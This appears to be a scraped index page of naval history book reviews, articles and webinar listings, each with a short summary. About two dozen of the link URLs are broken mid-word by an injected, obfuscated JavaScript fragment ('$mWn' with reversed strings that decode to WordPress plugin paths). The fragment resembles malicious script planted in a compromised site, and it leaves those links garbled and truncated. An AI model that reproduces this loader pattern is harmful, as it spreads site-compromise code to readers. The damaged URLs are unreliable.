- [BOOK REVIEW - <em>Predicting Pearl Harbor: Billy Mitchell and the Path to War</em>](https://navyhistory.org/2017/09/book-review-predicting-pearl-harbor-billy-mitchell/) - Predicting Pearl Harbor: Billy Mitchell and the Path to War adds to the ever-growing list of publications about the Japanese Pearl Harbor attack. Drez reminds us of the early predictions of Lea and Bywater and the quotations from the Robinson interviews are enlightening.
- [BOOK REVIEW - <em>Sea Power: The History and Geopolitics of the World’s Oceans</em>](https://navyhistory.org/2017/09/book-review-sea-power-the-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - In seven chapters covering maritime regions with currently strategic significance, Stavridis addresses today’s policy issues from the broad context of maritime history, and by weaving his personal story throughout, his narrative is informal and conversational.
- [BOOK REVIEW - <em>Airpower Applied: U.S., NATO, and Israeli Combat Experience</em>](https://navyhistory.org/2017/09/book-review-airpower-applied-u-s-na<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Airpower Applied is a well-researched book offering a different angle of reporting how three different groups—the U.S., NATO, and Israel—have conducted several significant aviation campaigns in the last 100 years.
- [BOOK REVIEW - <em>A WWI Soldier and His Camera: Army 19th Engineers Seen Through Pvt. Emil Rezek’s Camera and His Duty with the 14-inch Naval Railway Gun</em>](https://navyhistory.org/2017/10/book-review-a-wwi-soldier/) - If railroads and railguns of World War I are your obsession, then this book is well worth its price for the 24 photos on these subjects found within the book.
- [BOOK REVIEW - <em>Seablindness, How Political Neglect Is Choking American Seapower and What To Do About It</em>](https://navyhistory.org/2017/10/book-review-seablindness-how-political-neglect-is-choking-american-seapower/) - Seth Cropsey's latest book is an excellent primer on the state of today's weakened American naval forces and some ways that he thinks can right them now and strengthen them in the longer run to meet the future changing challenges from Moscow, Beijing, and Tehran.
- [BOOK REVIEW - <em>Shadow Over the Atlantic: The Luftwaffe and the U-Boats: 1943-45</em>](https://navyhistory.org/2017/10/book-review-sha<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-ste/) - Admittedly, this is a somewhat esoteric book but certainly one that fills an important gap in late-war knowledge.
- [BOOK REVIEW - <em>The Heroic Age of Diving: America’s Underwater Pioneers and the Great Wrecks of Lake Erie</em>](https://navyhistory.org/2017/11/book-review-the-heroic-age-of-diving-americas-underwater-pioneers/) - This book can be read on two levels: an examination of scientific and technological progress during 19th century America or as a case history of the early development of hard hat diving in the United States.
- [BOOK REVIEW - <em>U.S. Military Operations: Law, Policy, and Practice</em>](https://navyhistory.org/2017/12/book-review-u-s-military-operations-law-policy/) - While many readers will no doubt find themselves in disagreement with some of the perspectives contained in this book, the detailed analysis as well as citation of the book's materials will make it a worthwhile resource concerning the relationship between the law and military operations that will be widely appreciated and applied.
- [BOOK REVIEW - <em>Letters From Your Loving Son: Wilson C. Lineaweaver, His Journey through the CCC and U.S. Navy Until His Death on the USS</em> Bunker Hill <em>in 1945</em>](https://navyhistory.org/2017/12/book-review-letters-from-your-loving-son-wilson-c-lineaweaver-his-journey-through-the-ccc/) - It is the readers’ knowing what fate has in store for Wilson as one reads his letters home that makes this book such a poignant read. This book is both military and social history at its best.
- [BOOK REVIEW - <em>WHAT REMAINS: Searching for the memory and lost grave of John Paul Jones</em>](https://navyhistory.org/2018/01/book-review-what-remains-searching-for-the-memory/) - There have been a plethora of volumes written about American Revolutionary War hero John Paul Jones; Hornick’s effort is not a biography of the man nor is it a recounting of his brilliance in battle. What Remains is an exquisitely presented detective story but with a unique twist: we know the outcome at the beginning. So what makes this book so appealing?
- [BOOK REVIEW - <em>Thinking Wisely, Planning Boldly: The Higher Education and Training of Royal Navy Officers, 1919-39</em>](https://navyhistory.org/2018/01/book-review-thinking-wisely-planning-boldly-the-higher-education/) - Joseph Moretz has written what should be considered an authoritative and in-depth account of Royal Navy senior officer education in the interwar era. In doing so, he has made not only an important and needed contribution to the scholarship on the period, but he also offers analysis and important frames of reference for modern discussions and debates.
- [BOOK REVIEW - <em>Naval Families, War and Duty in Britain, 1740-1820</em>](https://navyhistory.org/2018/01/book-review-naval-families-war/) - The accounting provided by Gill though remains a solid work of research and of historical discourse. Enjoyable to read, warmly told and accompanied by several illustrations, Naval Families will appeal to those attuned to the social side of British history, if not always to its Navy.
- [BOOK REVIEW - <em>In the Shadow of Greatness: The Voices of Leadership, Sacrifice, and Service from American's Longest War](https://navyhistory.org/2018/02/book-review-in-the-sha<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/rega/) - In the Shadow of Greatness: The Voices of Leadership, Sacrifice, and Service from America’s Longest War By Joshua Welle, John Ennis, Katherine Kranz, and Graham Plaster, Naval Institute Press, Annapolis, MD. (2012). Reviewed by Capt. Lee Duckworth, USN (Ret.) In the Shadow of Greatness: Voices of Leadership, Sacrifice, and Service from America’s Longest
- [BOOK REVIEW - <em>Incidents at Sea: American Confrontations and Cooperation with Russia and China, 1945 - 2016</em>](https://navyhistory.org/2018/02/book-review-incidents-at-sea-american-confrontations/) - Incidents at Sea: American Confrontations and Cooperation with Russia and China 1945-2016 by David F. Winkler, Naval Institute Press, Annapolis, MD (2017). Reviewed by Charles Bogart The Cold War was exceptionally "cold" on land, as there were very few confrontations between Soviet and American ground forces along the land border between NATO and
- [<em>U-Boats Off Bermuda: Patrol Summaries and Merchant Ship Survivors Landed in Bermuda 1940-1944](https://navyhistory.org/2018/03/u-boats-off-bermuda-patrol-summaries/) - U-Boats Off Bermuda: Patrol Summaries and Merchant Ship Survivors Landed in Bermuda 1940-1944 By Eric Wiberg, Fonthill Media, Charleston, SC: (2017). Reviewed by Timothy Heck Eric Wiberg’s U-Boats Off Bermuda recounts a story of the western side of the War in the Atlantic. With much of the scholarship focused on the combatants, and
- [<em>Blue versus Purple: The U.S. Naval War College, the Soviet Union, and the New Enemy in the Pacific, 1946</em>](https://navyhistory.org/2018/03/blue-versus-purple-the-u-s-naval-war-college-the-soviet-union/) - Blue versus Purple: The U.S. Naval War College, the Soviet Union, and the New Enemy in the Pacific, 1946. By Hal Friedman, Naval War College Press, Newport, RI. 2017. Reviewed by Corbin Williamson, Ph.D. Hal Friedman likes trilogies.[1] His first three books (the American Lake series) examined the strategic, political, and administrative history
- [<em>Striking Power: How Cyber, Robots, and Space Weapons Change the Rules of Law</em>](https://navyhistory.org/2018/03/striking-power-how-cyber-robots/) - Striking Power: How Cyber, Robots, and Space Weapons Change the Rules of Law By Jeremy Rabkin, John Yoo,: Encounter Books, New York, NY. (2017). Reviewed by John Grady Striking Power: How Cyber, Robots, and Space Weapons Change the Rules of Law is a thought-provoking and disturbing book. It fits well into the manner
- [<em>In the Warlords' Shadow: Special Operations Forces, the Afghans, and Their Fight Against the Taliban</em>](https://navyhistory.org/2018/03/in-the-warlords-sha<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - In the Warlords' Shadow: Special Operations Forces, the Afghans, and Their Fight Against the Taliban. By Daniel R. Green, Naval Institute Press, Annapolis, MD. (2017). Reviewed by 1stLt Walker D. Mills, USMC In his new book In the Warlords' Shadow, Daniel Green describes the success of Village Stability Operations (VSO) and the Afghan
- [<em>American Sea Power in the Old World: The United States Navy in European and Near Easter Waters, 1865 - 1917<em/>](https://navyhistory.org/2018/04/american-sea-power-in-the-old-world-the-united-states-navy-in-european/) - American Sea Power in the Old World: The United States Navy in European and Near Eastern Waters, 1865-1917 By William N. Still Jr. Annapolis, MD, Naval Institute Press, (2018). Reviewed by Charles H. Bogart This book is a paperback reissue of the original edition published in 1980, which has not only withstood the test
- [<em>Naval Advising and Assistance: History, Challenges, and Analysis<em/>](https://navyhistory.org/2018/04/naval-advising/) - Naval Advising and Assistance: History, Challenges, and Analysis Edited by Donald Stoker and Michael T. McMaster Helion & Company Limited (2017) Reviewed by Kenneth J. Hagan, Ph.D. Ever since 1890, when Captain A.T. Mahan published his game-changing book, The Influence of Sea Power upon History, 1660-1783, the strategic focus of the U.S. Navy has been
- [<em>The Defenders of Taffy 3: Analysis and Retelling of the Battle of Leyte Gulf</em>](https://navyhistory.org/2018/06/the-defenders-of-taffy-3-analysis/) - The Defenders of Taffy 3: Analysis and Retelling of the Battle of Leyte Gulf by Byron G. Como. (2018.) Reviewed by Charles H. Bogart This print-on-demand paperback book is destined to be the benchmark against which all future accounts of the struggle of Taffy 3 to survive its encounter with the Japanese Navy
- [<em>Adrift: A True Story of Tragedy on the Icy Atlantic and the One Who Lived to Tell About It</em>](https://navyhistory.org/2018/07/adrift-a-true-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-ste/) - Adrift: A True Story of Tragedy on the Icy Atlantic and the One Who Lived to Tell About It Brian Murphy with Toula Vlahou New York: Da Capo Press, 2018 240 pp., Bibliography, Map, and Illustrations If in the mid-19th century an ocean crossing wasn’t the blind leap into the unknown that it
- [<em>British and German Battlecruisers: Their Development and Operations</em>](https://navyhistory.org/2018/08/british/) - British & German Battlecruisers: Their Development and Operations By Michele Cosentino and Ruggero Stanglini. Annapolis, MD: Naval Institute Press, 2016. HMS Dreadnought and the Invincible-class battlecruisers transformed naval warfare when they were laid down in 1905 and 1906. Dreadnought, the first all-big-gun battleship, made previous ships of the line obsolescent if not
- [<em>Battle Briefings: D-Day and the Normandy Campaign</em>](https://navyhistory.org/2018/08/battle-briefings-d-day/) - Battle Briefings: D-Day and the Normandy Campaign By David Reisch Stackpole, (2018) 128 pp. $21.95 The historiography of the June 1944 Normandy Campaign, centering on the amphibious assault on 6 June, has been chronicled exhaustively in the literature of military history. Journalist and military historian David Reisch’s entry into the field, his second
- [The Roman Empire and the Indian Ocean](https://navyhistory.org/2018/10/the-roman-empire/) - The Roman Empire and the Indian Ocean: The Ancient World Economy and the Kingdoms of Africa, Arabia and India By Raoul McLaughlin, Pen and Sword Maritime Books, Yorkshire and Philadelphia, (2018) Reviewed by Janet Nolan, Ph. D. A graduate of Lagan College, Northern Ireland’s first Integrated School, Raoul McLaughlin has written a remarkable book
- [Deptford Royal Dockyard & Manor of Sayes Court](https://navyhistory.org/2018/12/the-deptford-royal-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - Your reviewer became vocational archaeologist by accident but is also an avocation historian (The Naval History of Great Britain, 206 pp., 1962, was my senior high school thesis). I am quite familiar with the MOLA publication series, having reviewed A Dated Type Series of London Medieval Pottery: Part 5, Shelly-sandy Ware and the Greyware Industries
- [US Revenue & Coast Guard Cutters in Naval Warfare](https://navyhistory.org/2019/01/united-states-revenue/) - With the release of Thomas Ostrom’s latest book, he has delivered the companion to his 2012 work, The United States Coast Guard and National Defense: A History from World War I to the Present. In Ostrom’s fourth book, the reader is provided with extensive research on naval actions from the origin of the Revenue Marine
- [Winning a Future War: War Gaming and Victory in the Pacific War](https://navyhistory.org/2019/04/winning-a-future-war-war-gaming/) - Despite the vast numbers of books written on World War II in the last seventy years, there is still much we do not yet fully understand or appreciate. Prominent Naval Historian Norman Friedman fills yet another of these gaps in our knowledge with his book Winning a Future War. More specifically, Friedman helps us to
- [Second Acts: Presidential Lives and Legacies After the White House](https://navyhistory.org/2019/04/second-acts-presidential-lives/) - Aside from what extraordinarily provocative stories we hear in the news today, few citizens are familiar with the U.S. presidents’ lives following their departure from Oval Office. Ex-presidents continue to have the highest celebrity status and use their influence in their follow-on efforts to support the current administration, help society through philanthropy, and focus on
- [Combat at Close Quarters: Warfare on the Rivers and Canals of Vietnam](https://navyhistory.org/2019/10/combat-at-close-quarters-warfare-on-the-rivers/) - Combat at Close Quarters: Warfare on the Rivers and Canals of VietnamBy Edward J. Marolda and R. Blake Dunnavent, Naval History and Heritage Command, Department of the Navy, Washington, D.C., (2015). Pb. Illus. Maps. Reviewed by Diana L. Ahmad, Ph.D. of Missouri University of Science and Technology Click here to buy Combat at Close Quarters:
- [USS Tunny: A History, Tribute, and Memoir](https://navyhistory.org/2019/10/uss-tunny-a-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-ste/) - This massive book is obviously a labor of love on the part of the author. Much of it is formatted like a scrapbook, covering almost thirty years of naval history. The book covers: Tunny’s operations in World War II, where the boat was honored by earning two Presidential Unit Citations, making it one of the
- [U.S. Navy Auxiliary Vessels: A History and Directory from World War I to Today](https://navyhistory.org/2019/12/u-s-navy-auxiliary-vessels-a-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/st/) - U.S. Navy Auxiliary Vessels: A History and Directory from World War I to Today By Ken W. Sayers, McFarland Publishing, Jefferson, NC, (2019). Reviewed by Jeff Schultz. Jeff Schultz teaches history and political science courses at Luzerne County Community College in Nanticoke, PA. He has presented papers at the McMullen Naval History Symposium, the Northern
- [Crusoe, Castaways and Shipwrecks in the Perilous Age of Sail](https://navyhistory.org/2020/01/crusoe-castaways/) - Crusoe, Castaways and Shipwrecks in the Perilous Age of SailBy Mike Rendell, Pen & Sword History, Yorkshire, England, (2019). Reviewed by Diana L. Ahmad, Ph.D. of Missouri University of Science and Technology.Click here to buy Crusoe, Castaways and Shipwrecks in the Perilous Age of Sail now!
- [Russian Battleships and Cruisers of the Russo-Japanese War](https://navyhistory.org/2020/01/russian-battleships/) - Mark Lardas’s Russian Battleships and Cruisers of the Russo-Japanese War (New Vanguard #275) delves into the little discussed Russo-Japanese War. In particular, the Imperial Russian capital ships that fought in the losing effort against an unexpectedly tough opponent in the first defeat of a European power by an Asian foe, with strong repercussions for all
- [Erebus:  One Ship, Two Epic Voyages, and the Greatest Naval Mystery of All Time](https://navyhistory.org/2020/02/erebus-one-ship-two-epic-voyages/) - Erebus: One Ship, Two Epic Voyages, and the Greatest Naval Mystery of All Time, by Michael Palin. Random House Canada, 2018. 334 pp. Reviewed by Commander Brian L. Emory, USN. Commander Emory is a Military Faculty Instructor at the Joint Forces Staff College, National Defense University. Purchase your copy of Erebus today!
- [The Sound Toll at Elsinore:  Politics, Shipping and the Collection of Duties 1429-1857](https://navyhistory.org/2020/03/the-sound-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - Reviewed by CDR Daniel Orchard-Hays, USN. As the title suggests, this anthology provides varying perspectives on the tariff collected in the sound that runs between Denmark and Sweden thus joining the North Sea to the Baltic Sea at Elsinore. For over 400 years beginning in the mid-15th century, the Sound Toll played a significant role
- [Launching The Navy Family Support Program: A Heartfelt Blend of History and Memoir](https://navyhistory.org/2020/03/launching-the-navy-family-support-program-a-heartfelt-blend-of-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$m/) - Reviewed by David F. Winkler, Ph.D. Class of 1957 Chair of Naval Heritage, U.S. Naval Academy. The 1970s were tumultuous years for the U.S. Navy, a transitional period from the war in Vietnam where a draft kept the sea service fully-manned with young single Sailors who readily enlisted in the Navy rather than serve “In
- [The Battleships of the Iowa Class – A Design and Operational History](https://navyhistory.org/2020/03/the-battleships-of-the-iowa-class-a-design/) - The Battleships of the Iowa Class – A Design and Operational History, by Philippe Caresse. Translated by Bruce Taylor. 2019, Naval Institute Press, Annapolis, MD. 522 pp., $120.00 Review by Mr. Charles Bogart, NHF Member and frequent reviewer. Purchase your copy today! Naval Institute members get a 40 percent discount on purchasing this book.
- [Why America Loses Wars: Limited War and US Strategy from the Korean War to the Present](https://navyhistory.org/2020/04/why-america-loses-wars-limited-war/) - Review of Donald Stoker, Why America Loses Wars: Limited War and US Strategy form the Korean War to the Present (New York: Cambridge University Press, 2019) Jon Middaugh works full-time as a historian for the Naval History and Heritage Command in Washington, D.C., where he co-authored a pamphlet on the Navy’s role in Operation Torch
- [Six Victories: North Africa, Malta, and the Mediterranean Convoy War: November 1941 ̶ March 1942](https://navyhistory.org/2020/04/six-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - Reviewed by Randall D. Fortson, MA Vincent P. O’Hara opens his newest work, Six Victories: North Africa, Malta, and the Mediterranean Convoy War: November 1941 ̶ March 1942, by stating that victory has a hundred fathers. The phrase originates from the diary of Mussolini’s son-in-law, Galeazzo Ciano but O’Hara intends it as a metaphor for
- [Middle East 101: A Beginner's Guide for Deployers, Travelers, And Concerned Citizens](https://navyhistory.org/2020/05/middle-east-101-a-beginners-guide-for-deployers-travelers/) - Youssef H. Aboul-Enein and Joseph Stanik, Middle East 101: A Beginner's Guide for Deployers, Travelers, and Concerned Citizens. Annapolis: Naval Institute Press, 2019. Reviewed by Midshipman "Bo" Schrader, IV, United States Naval Academy Purchase your copy of Middle East 101 today!
- [They Were Soldiers: The Sacrifices and Contributions of Our Vietnam Veterans](https://navyhistory.org/2020/07/they-were-soldiers-the-sacrifices/) - Reviewed by Captain William H. Peerenboom, USN (Ret.) Many Americans, perhaps including the authors, look back on the Viet Nam war as a misguided and mis managed effort. Not only that, these Americans believe that the disdain for the war caused those who fought there – ordinary soldiers, sailors, marines and airmen to suffer loss
- [U.S. Marines in Afghanistan, 2010-2014: Anthology and Annotated Bibliography](https://navyhistory.org/2020/07/u-s-marines-in-afghanistan-2010-2014-anthology/) - Reviewed by LTC Victor O. McGee, USA. In October 2014, NATO and the U.S ended combat operations in Afghanistan; however the insurgency reformed and malign forces again were mounting stronger insurrections. Marines redeployed to Afghanistan to continue training Afghan Soldiers and Police Forces to counter act the rebellion. This 6-part collection of 21 commentaries and
- [Fighting the Great War at Sea: Strategy, Tactics and Technology](https://navyhistory.org/2020/08/fighting-the-great-war-at-sea-strategy-tactics/) - Reviewed by Joseph Moretz, PhD. Members of this forum will know and appreciate the many previous offerings of Dr. Norman Friedman in the field of naval technology and strategy. With several serving as standard reference works, readers of Friedman are invariably treated to a reasoned discourse anchored in primary research that never fails to inform.
- [Battleship Bismarck: A Design and Operational History](https://navyhistory.org/2020/09/battleship-bismarck-a-design/) - Reviewed by Charles C. Kolb, Ph.D. The battleship Bismarck is one of the most-written about World War II Nazi German capital ships (Admiral Graf Spee and Tirpitz are close seconds). Eliminating USNS City of Bismarck (JHSV-9), often cited as Bismarck (and named after Bismarck, North Dakota, USA) and other specious references in WorldCat, there are
- [The Boats of Cherbourg: The Navy That Stole Its Own Boats and Revolutionized Naval Warfare](https://navyhistory.org/2021/02/the-boats-of-cherbourg-the-navy-that-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ss/) - Reviewed by Jeff Schultz Abraham Rabinovich’s The Boats of Cherbourg: The Navy That Stole Its Own Boats and Revolutionized Naval Warfare takes the reader on a rollicking ride through an early Cold War techno-thriller which does not disappoint. A mixture of diplomacy, desperation, rank skullduggery, and above all clever statecraft; this timely nonfiction account sheds
- [Glasgow Museums: The Ship Models – A History and Complete Illustrated Catalogue](https://navyhistory.org/2021/03/glasgow-museums-the-ship-models-a-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssa/) - Reviewed by Ingo Heidbrink Sometimes there are books that feel special from the very first moment you receive them. Glasgow Museums The Ship Models – A History and Complete Illustrated Catalogue is without any doubt such a book. First of all, catalogues of museum collections have become to a certain degree a rare species, and
- [Theodore Roosevelt, Theodore Ellyson, and Two Historic Events at the Washington Navy Yard](https://navyhistory.org/2019/11/theo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/ro/) - It is a great privilege to work at the historic Washington Navy Yard. I don't know of many other freshly commissioned Ensigns who can look out the window above their desk and see the Tingey House, the renowned home of the Chief of Naval Operations, on a daily basis. The rich heritage of the United States
- [Thursday Tidings: C-SPAN Coverage of Leyte Gulf Panel and This Day in Naval History](https://navyhistory.org/2019/12/thursday-tidings-c-span-coverage-of-leyte-gulf-panel/) - On October 25th, the Naval Historical Foundation hosted a symposium commemorating the 75th anniversary of the Battle of Leyte Gulf. C-SPAN graciously recorded the event for us and aired it earlier this week.In case you missed it, C-SPAN has also published it online. Please click the image above to enjoy the footage of our highly distinguished panel.
- [Thursday Tidings: Announcements and Happy Holidays](https://navyhistory.org/2019/12/thursday-tidings-announcements/) - Thank you for joining us for our final Thursday Tidings of the year. We hope you have enjoyed this weekly glimpse into our events, Naval History, and more. We will take a two week break and see you again on January 9, 2020. We are grateful for your support and loyalty as members of our Foundation, and
- [African American History Month and the Medal of Honor](https://navyhistory.org/2020/02/african-american-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regana/) - Of the 3,470 Medals of Honor awarded, 90 have been bestowed to 89 different African American recipients. Of these 89, 16 have been United States Sailors. While the award criteria for the Medal of Honor has become far more stringent since the awards listed below, nonetheless these men earned the nation's highest and most prestigious military decoration. For
- [USNS COMFORT and the HAITI EARTHQUAKE: January 13-16, 2010](https://navyhistory.org/2020/03/usns-comfort/) - By Rear Admiral Robert Wray, USN (Ret.) With the recent response to the Coronavirus/COVID19 and the recent deployments of Navy Medical personnel and the USNS Comfort and USNS Mercy to New York City and San Francisco, the Naval Historical Foundation (NHF) asked me to recall the response of the USNS COMFORT to the Haiti earthquake
- [Dr. Robert Ballard and Nautilus Live](https://navyhistory.org/2020/05/dr-robert-ballard/)
- [Like Father Like Son: Comparing the Naval Academy Experiences of Nimitz Jr and Sr](https://navyhistory.org/2020/05/like-father-like-son-comparing-the-naval-academy-experiences-of-nimitz-jr/) - By MIDN 4/C Alex Hooker, United States Naval Academy Regarding the possibility of a naval school to train future officers, one salty critic is quoted as saying, “You could no more educate sailors in a shore college than you can teach ducks to swim in a garret.” Considering the long line of brave, consequential officers
- [Actions Speak as Loudly as Words:  The U.S. Naval History and Contributions of Edward Latimer Beach Sr. and Edward Latimer “Ned” Beach Jr.](https://navyhistory.org/2020/05/actions-speak-as-loudly-as-words-the-u-s-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php./) - By Midshipman Maya Weiss, United States Naval Academy There’s a proverb that proclaims, “Like father, like son.” For Edward Latimer Beach, Sr. and Edward Latimer “Ned” Beach, Jr., no truer words have been spoken. For them, naval service was a multigenerational calling. And while the two generations served at different times in naval history, and
- [Admiral Richard H. Cruzen and Operation Highjump](https://navyhistory.org/2020/08/admiral-richard-h-cruzen/) - Text below from article "Burton Island" by Naval History and Heritage Command - original article may be viewed at: https://www.history.navy.mil/content/history/nhhc/research/histories/ship-histories/danfs/b/burton-island-i.html In late 1946, the Navy desperately needed the services of the not-yet-commissioned icebreaker Burton Island (AG-88)for the First Antarctic Developments Project. The largest expedition to the Antarctic continent to date, also known as Operation Highjump, sought to explore and
- [Hattendorf Prize Lecture (2018): History, Truth Decay, and the Naval Profession by Geoffrey Till, Ph.D](https://navyhistory.org/2020/09/hatten<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - Why in this age of constant technological, economic, social, and political change should navies actively concern themselves with the naval past? Herein I will try to answer this question, one often asked by skeptics anxious to insert into the developing courses of professional military education (PME) material that seems so much more relevant to the
- [Admiral Rickover, Admiral Holloway, and the Dawn of Nuclear-powered Aircraft Carriers.](https://navyhistory.org/2020/09/admiral-rickover-admiral-holloway/) - Guest Post by Captain Todd Creekman, USN (Ret.) Admiral James L. Holloway III, USN (Ret.), commanding officer of USS Enterprise (CVAN-65) and 20th Chief of Naval Operations, served for 28 years in retirement as president and later chairman of the board for the Naval Historical Foundation (NHF). Admiral Holloway left his mark on NHF through his selfless service
- [Navy Families and their Supporters](https://navyhistory.org/2020/10/navy-families/) - WAVY Archive: 1981 Special Naval Address Admiral Thomas Hayward
- [Theodore Roosevelt and the Naval War of 1812 - Second Saturday Webinar](https://navyhistory.org/2020/11/theo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/ro/)
- [Norman's Corner: Louis Wolf and the <em>Proceedings</em>](https://navyhistory.org/2013/02/normans-corner-louis-wolf/) - Norman Polmar (author, analyst, and consultant) recalls what inspired him to begin writing about the U.S. Navy.
- [Norman’s Corner: Paul Nitze and the A-Bomb](https://navyhistory.org/2013/06/normans-corner-paul-nitze/) - Norman Polmar writes about Secretary of the Navy Paul Nitze and the use of the atomic bomb
- [Norman’s Corner: Edward Teller and the A-Bomb](https://navyhistory.org/2013/07/normans-corner-edward-teller/) - Norman Polmar writes about scientist Edward Teller, and their conversations regarding the use of atomic weapons at the end of World War II
- [Norman's Corner: Admiral Chris Cagle in War and in Peace](https://navyhistory.org/2013/10/normans-corner-admiral-chris-cagle-war/) - Norman Polmar writes about his long partnership with Vice Admiral Malcolm W. (Chris) Cagle
- [Norman’s Corner: My Protégé and My Mentor](https://navyhistory.org/2014/02/normans-corner-my-protege/) - In this latest edition of Norman's Corner, Polmar discusses his long relationship with Dr. David Rosenberg, a man who began as the student and is now the teacher.
- [The Secret Sauce For Organizational Success: Communications and Leadership on the Same Page](https://navyhistory.org/2021/03/the-secret-sauce-for-organizational-success-communications/) - Reviewed by LCDR David K. Sturges, USNR (Ret.) “Experience keeps a dear school.” Retired RADM Tom Jurkowsky’s new book gives fresh and useful meaning to that old saying of Benjamin Franklin. His “Secret Sauce for Organizational Success.” recounts his 45 years of exceptional communication and public affairs leadership within a rare, three-way panoply of military,
- [Arthur Beaumont: Art of the Sea](https://navyhistory.org/2021/04/arthur-beaumont-art-of-the-sea/) - Reviewed by Edward Masso, Rear Admiral, US Navy (Ret) The state of California has a rich history in producing and displaying some very special art in their numerous museums placed strategically throughout the state. California boasts brilliant and important museums such as: The Norton Simon Museum, Getty Museum, The Historic Catholic Missions, Presidential Libraries of
- [Liberty Factory: The Untold Story of Henry Kaiser's Oregon Shipyards](https://navyhistory.org/2021/04/liberty-fac<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - Reviewed by Charles C. Kolb, PhD Peter J Marsh was born in Greenwich, UK, and combined a career in teaching with time spent boat-building, offshore racing, and voyaging under sail, but a chance visit to the United States convinced him to sell his boat and emigrate. Settling in Portland, Oregon, he returned to a sailing
- [Run Silent Run Deep – SECOND SATURDAY WEBINAR](https://navyhistory.org/2020/10/run-silent-run-deep-second-saturday-webinar/) - For this installment of the Naval Historical Foundation's Second Saturday Webinar Series, we examine Captain Edward L. "Ned" Beach and the impact of his legendary book, Run Silent Run Deep. Our program will open with presentations by Ned's bride of many decades, Ingrid Beach, Captain James Bryant, and Dr. David Alan Rosenberg who will offer
- [The Influence of Sea Power Upon History: The Current National Strategic Implications – SECOND SATURDAY WEBINAR](https://navyhistory.org/2020/12/the-influence-of-sea-power-upon-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Published in 1890, Alfred Thayer Mahan's 'The Influence of Sea Power Upon History' catalyzed a wave of strategic realignment around the world and the naval arms race of World War one. Mahan's book is still required reading in military history courses today and has been studied by historians, scholars, and sailors for over a century.
- [The Navy in Operation Desert Storm: A Thirty Year Retrospective – SECOND SATURDAY WEBINAR](https://navyhistory.org/2021/01/the-navy-in-operation-desert-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/steg/) - Recorded on January 16, 2021, this installment of the Naval Historical Foundation's 'Second Saturday Webinar Series' covers the role of the United States Navy in Operation Desert Storm. Featuring remarks from RADM Sam J. Cox, CAPT Daniel D. Thompson, and CAPT Peter D. Haynes, enjoy this fascinating conversation on the Navy in recent historical events.
- [Vice Admiral Sam Gravely, Surface Warfare Extraordinaire – SECOND SATURDAY WEBINAR](https://navyhistory.org/2021/02/vice-admiral-sam-gravely-surface-warfare-extraordinaire-second-saturday-webinar/)
